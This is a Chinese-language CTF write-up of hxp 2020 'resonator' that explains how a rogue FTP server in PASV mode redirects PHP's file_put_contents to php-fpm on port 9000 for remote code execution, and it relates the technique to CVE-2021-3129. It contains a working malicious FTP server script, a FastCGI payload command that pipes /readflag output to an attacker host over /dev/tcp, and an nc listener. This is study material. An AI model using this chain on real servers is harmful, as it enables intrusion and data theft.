0x00 前言
在撰写 CVE-2021-3129 Laravel Debug mode RCE 漏洞分析的文章时,漏洞原作者在文章最后提出了利用 ftp 与 php-fpm 对话 RCE 的思路,同时给出了参考例题 hxp 2020 resonator ,趁着还余有印象,我便写下了这篇文章:
一是复现 hxp 2020 resonator ,并将其作为例题引入,深入剖析原理,最后再来简单回顾一下 CVE-2021-3129 ,区别两者。
总之,如有不当,烦请评论捉虫,我会在第一时间响应并评论提示错误,谢谢。
0x01 引题
下载
题目源文件:
https://2020.ctf.link/assets/files/resonator-341a26a12c5ac4ad.tar.xz
hxp 2020 题目虚拟机环境(种子):
https://ctf.link/hxp_ctf_2020.ova.torrent
为了节省配置环境的时间,我直接用虚拟机搭建了:
分析
这题只有短小精悍的五行代码:
index.php
<?php
$file = $_GET['file'] ?? '/tmp/file';
$data = $_GET['data'] ?? ':)';
file_put_contents($file, $data);
echo file_get_contents($file);
file 默认路径 /tmp/file
,data 默认下为 :)
,再就是两个文件操作,把 data 数据写进 file 文件,然后读取显示到页面:
file 和 data 没有任何限制,也就是说,能任意文件读写,但事实真的那么简单吗?
Dockerfile
# echo 'hxp{FLAG}' > flag.txt && docker build -t resonator . && docker run --cap-add=SYS_ADMIN --security-opt apparmor=unconfined -ti -p 8009:80 resonator
# 基于 debian buster 镜像
FROM debian:buster
# 注意下载了 php-fpm
RUN DEBIAN_FRONTEND=noninteractive apt-get update && \
apt-get install -y \
nginx \
php-fpm \
&& rm -rf /var/lib/apt/lists/
RUN rm -rf /var/www/html/*
COPY docker-stuff/default /etc/nginx/sites-enabled/default
# php-fpm 进程服务的扩展配置文件
COPY docker-stuff/www.conf /etc/php/7.3/fpm/pool.d/www.conf
COPY flag.txt docker-stuff/readflag /
# 指定 flag 文件和目录的拥有者变为 ID 1337 组 ID 为 0 的用户
RUN chown 0:1337 /flag.txt /readflag && \
# flag 文件仅同用户组可读
chmod 040 /flag.txt && \
# flag 目录所有用户可读可执行,不可写
chmod 2555 /readflag
COPY index.php /var/www/html/
# 指定 /var/www 目录拥有者为 root
RUN chown -R root:root /var/www && \
# 在 /var/www 目录下 find 过的目录只能被读和执行,一般文件只读
find /var/www -type d -exec chmod 555 {} \; && \
find /var/www -type f -exec chmod 444 {} \;
...
进行了非常严格的文件权限设置,我们能自由读写的只有 /tmp/file
,www.conf
配置文件也说明了我们是 www-data
用户组。
www.conf
[www]
user = www-data
group = www-data
listen = 127.0.0.1:9000
listen.owner = www-data
listen.group = www-data
...
监听端口 9000 ,并且点明了这是 TCP 通信方式而非 UNIX 域通信。
拓展一下 UNIX domain socket 模式:
listen = /opt/php/var/run/php-fpm.sock
or
listen = /dev/shm/php-fpm.sock
综上,我们要读取 flag 只能通过执行剩下的 readflag 这个二进制文件获取,这就要求我们先 getshell,那么 php-fpm 就有可用之处了——以前有 CVE-2019-11043 就是利用 fastcgi 进行 getshell ,我们来看这题情况是怎样的。
众所周知,如果可以将任意二进制数据包发送到 php-fpm 服务,则可以执行代码。 此技术通常与 gopher://
协议结合使用(ssrf),该协议受 curl 支持,但不受 php 支持。
因此我们再来看 php支持的协议和封装协议 是否有可代替发二进制包的:
file:// — 访问本地文件系统
-pass 因为权限问题绝大部分不能利用
http:// — 访问 HTTP(s) 网址
-pass 虽然可以利用 file_get_contents() 访问 URL,但只能发挥扫描端口这些不痛不痒的作用
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
-pass 无用
phar:// — PHP 归档
-pass 没有利用链,更何况还需要 phar.readonly = 0
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流
-pass 以上四个都需要安装 PECL 扩展
唯一剩下的只有 ftp://
,况且 ftp 本身也是基于 tcp 的服务,能配合 php-fpm 进行 tcp 通信。
而关于 ftp,为了后续理解,有必要对其两种传输模式作介绍。
ftp 的两种传输模式
ftp 有两种使用模式:主动模式(port)和被动模式(pasv)。
port 要求客户端和服务器端同时打开并且监听一个端口以创建连接。在这种情况下,客户端由于安装了防火墙会产生一些问题,连接有时候会被客户端的防火墙阻止。所以,创立了 pasv 。pasv 只要求服务器端产生一个监听相应端口的进程,这样就可以绕过客户端安装了防火墙的问题。
ftp 客户端和服务器之间需要建立两条 tcp 连接,一条是控制连接( 21 端口),用来发送控制指令,另外一条是数据连接( 20 端口 / 随机端口),真正的文件传输是通过数据连接来完成的。
两种传输模式的异同
对于两种传输模式来说,控制连接的建立过程都是一样,均为服务器监听 21 号端口,客户端向服务器的该端口发起 tcp 连接。
两种传输模式的不同之处体现在数据连接的建立,对于数据连接的建立,主被动模式的不同在于数据连接的建立“服务器”是“主动”还是”被动”:
port 服务器通过控制连接知道客户端监听的端口后,使用自己的 20 号端口作为源端口,服务器“主动”发起 tcp 数据连接。
pasv 服务器监听 1024-65535 的一个随机端口,并通过控制连接将该端口告诉客户端,客户端向服务器的该端口发起 tcp 数据连接,这种情况下数据连接的建立相当于服务器是“被动”的。
如图,对于我们这题,显然只能用 pasv 模式,服务器监听的“随机端口”对应 php-fpm 监听的 9000 端口,详细过程我们通过一个实际的 pasv 例子来理解:
testbox1: {/home/p-t/slacker/public_html} % ftp -d testbox2 Connected to testbox2.slacksite.com. 220 testbox2.slacksite.com FTP server ready. Name (testbox2:slacker): slacker ---> USER slacker 331 Password required for slacker. Password: TmpPass ---> PASS XXXX 230 User slacker logged in. ---> SYST 215 UNIX Type: L8 Remote system type is UNIX. Using binary mode to transfer files. ftp> passive Passive mode on. ftp> ls ftp: setsockopt (ignored): Permission denied ---> PASV 227 Entering Passive Mode (192,168,150,90,195,149). ---> LIST 150 Opening ASCII mode data connection for file list drwx------ 3 slacker users 104 Jul 27 01:45 public_html 226 Transfer complete. ftp> quit ---> QUIT 221 Goodbye.
以上是客户端 testbox1.slacksite.com (192.168.150.80) 发出
PASV
命令以指示其将等待服务器 testbox2.slacksite.com (192.168.150.90) “被动地”提供 ip 和端口号,然后客户端将创建到服务器的数据连接,其中:227 Entering Passive Mode (192,168,150,90,195,149).
这就是服务器“被动”返回的 ip 和端口号,分别是 32 位的主机地址和 16 位 tcp 端口地址,这个例子的就是 192.168.150.90 的 195*256 + 149 = 50069 端口。
选择 ip 地址和端口号后,选择 ip 地址和端口的一方将开始侦听指定的地址/端口,并等待另一方连接。 当对方连接到收听方后,数据传输开始。
我们这题需要将 ip 端口重定向为 127.0.0.1:9000 来试图 ssrf ,9000 % 256 = 40 ,即可表达为:
227 Entering Passive Mode (127,0,0,1,35,40).
介绍到这,利用过程就很明晰了,引用 dfyz 的 wp 原理图:
file_put_contents()
用 ftp://
与我们的恶意服务器建立控制连接,使目标发送 PASV
命令,我们“被动”提供 ip 端口至本地 9000 端口,然后建立起数据连接,将 data (fastcgi payload)的内容上传到服务器,最后只需攻击机监听 payload 给定的端口获取 /readflag 执行结果即可。
我们用 py 脚本来实现这个恶意服务器,关于如何去实现,我们可以本地搭建 ftp 服务器测试被动状态发文件,这里参照了过客大神的wp 的实验图(这是 EPSV 扩展被动模式的数据包,仅供参考):
EPRT / EPSV
EPRT / EPSV 模式出现的原因是 FTP 仅仅提供了建立在 IPv4 上进行数据通信的能力,它基于网络地址是 32 位这一假设。但是,当 IPv6 出现以后,地址就比 32 位长许多了。原来对 FTP 进行的扩展在多协议环境中有时会失败。我们必须针对 IPv6 对 FTP 再次进行扩展。EPRT、EPSV是 Extended Port / Pasv 的简写。
可以依此得到 PASV 模式脚本:
import socket
host = '0.0.0.0'
port = 5555
sock = socket.socket()
sock.bind((host, port))
sock.listen(5)
conn, address = sock.accept()
conn.send("220 \n")
print conn.recv(20)
conn.send("331 \n")
print conn.recv(20)
conn.send("230 \n")
print conn.recv(20)
conn.send("200 \n")
print conn.recv(20)
conn.send("550 \n")
print conn.recv(20)
# skip EPSV
conn.send("200 \n")
print conn.recv(20)
# 35 * 256 + 40 = 9000
conn.send("227 127,0,0,1,35,40\n")
print conn.recv(20)
conn.send("150 \n")
print conn.recv(20)
可以看到我们多发了一次 200
来 skip EPSV
,再发的 227
来提供 ip 端口,为了理解,先看我们单发一次 227 的显示:
对照原理图,这并未执行 STOR
命令接收数据并且在服务器保存为文件,为什么呢?
我们从 php 源码 中可以知晓答案(详细看中文注解):
/* {{{ php_fopen_do_pasv */
static unsigned short php_fopen_do_pasv(php_stream *stream, char *ip, size_t ip_size, char **phoststart)
{
char tmp_line[512];
int result, i;
unsigned short portno;
char *tpath, *ttpath, *hoststart=NULL;
#ifdef HAVE_IPV6
// 先试 EPSV 模式
/* We try EPSV first, needed for IPv6 and works on some IPv4 servers */
php_stream_write_string(stream, "EPSV\r\n");
result = GET_FTP_RESULT(stream);
// 如果得到的状态码不是 229 才试 PASV 模式,这就是为什么我们单发 227 不起作用,仅仅是切换了模式
/* check if we got a 229 response */
if (result != 229) {
#endif
/* EPSV failed, let's try PASV */
php_stream_write_string(stream, "PASV\r\n");
result = GET_FTP_RESULT(stream);
// 确定收到了 ip 端口号
/* make sure we got a 227 response */
if (result != 227) {
return 0;
}
// 分离 ip 端口号
/* parse pasv command (129, 80, 95, 25, 13, 221) */
tpath = tmp_line;
/* skip over the "227 Some message " part */
for (tpath += 4; *tpath && !isdigit((int) *tpath); tpath++);
if (!*tpath) {
return 0;
}
/* skip over the host ip, to get the port */
hoststart = tpath;
for (i = 0; i < 4; i++) {
for (; isdigit((int) *tpath); tpath++);
if (*tpath != ',') {
return 0;
}
*tpath='.';
tpath++;
}
tpath[-1] = '\0';
memcpy(ip, hoststart, ip_size);
ip[ip_size-1] = '\0';
hoststart = ip;
...
题解
Gopherus 生成 fastcgi payload (图中选中部分复制):
bash -c "/readflag > /dev/tcp/192.168.21.128/6666"
运行 py 脚本搭建恶意 ftp 服务器
监听 6666 端口(视 payload 生成端口而定)
nc -lvp 6666
网页发送 payload:
?file=ftp://server:5555/whatever&data=[第一步复制的 payload ]
getflag
0x03 回顾
环境配置及分析等可见我的上一篇文章。
CVE-2021-3129 对照引题可以精炼成以下代码:
$originalContents = file_get_contents($parameters['viewFile']);
file_put_contents($parameters['viewFile'], $newContents);
下文为了简便,省略 file_*_contents 来描述。
引题是先 put 后 get,我们完全靠 put 来实现,put 使我们建立起控制连接,有 data
这个参数传送 payload 。
这里先 get 后 put ,情况有所不同,漏洞作者的思路是:
我们将使用 PASV
来使 file_get_contents()
在恶意服务器上下载文件,并且当它尝试使用 file_put_contents()
将其上传回时,我们让它发送文件到 127.0.0.1:9000 (本地有 php-fpm 服务,可以实现稳定 RCE ),实际上,get 所做的只是为了代替引题的 data 传送 payload 。
对此,这篇文章 已经写得很详尽,这里不再赘述,只不过对照上图,测试时目标和恶意 ftp 服务器都在本地,所以第一步的 227
是本地的端口。
当然你也可以尝试对照我们题目的脚本来改写,第一次连接参照下图即可:
第二次连接的过程则与题目完全相同。
如果想要在本地测试一下这个 ftp 传输过程,可以参考下面的博客搭建服务器:
https://www.cnblogs.com/zwqh/p/11579264.html
0x04 参考
个人认为很不错的 ftp 模式讲解:
https://southrivertech.com/wp-content/uploads/FTP_Explained1.pdf
https://slacksite.com/other/ftp.html
https://zhuanlan.zhihu.com/p/37963548
ftp rfc 文档:
http://www.faqs.org/rfcs/rfc959.html
ftp 命令字和响应码:
发表评论
您还未登录,请先登录。
登录